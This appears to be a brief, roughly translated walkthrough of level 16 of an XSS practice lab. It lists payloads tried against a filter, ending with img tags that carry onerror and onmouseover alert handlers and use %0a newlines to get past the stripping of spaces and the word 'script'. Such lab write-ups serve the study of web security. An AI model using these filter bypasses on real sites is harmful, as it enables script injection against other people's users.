level16

 

Try basic code

<script>alert(111)</script>

 

  No accident , hold script and / It's filtered out , Case bypass is useless （ In fact, the space is also bypassed ）

' onmouseover=javascript:alert(1) '

It's no use

Coding is useless

  May limit the length

Try again. img Of

<img src="111" onerror=alert('xss')>

  But the spaces are filtered

<img%0asrc="111"%0aonerror=alert('xss')>

  Some others are ok

<img%0asrc=1%0aonmouseover="alert(1)">  （ Move the mouse over the graph ）

<img%0asrc=1%0aonmouseout="alert(1)">  （ To click ）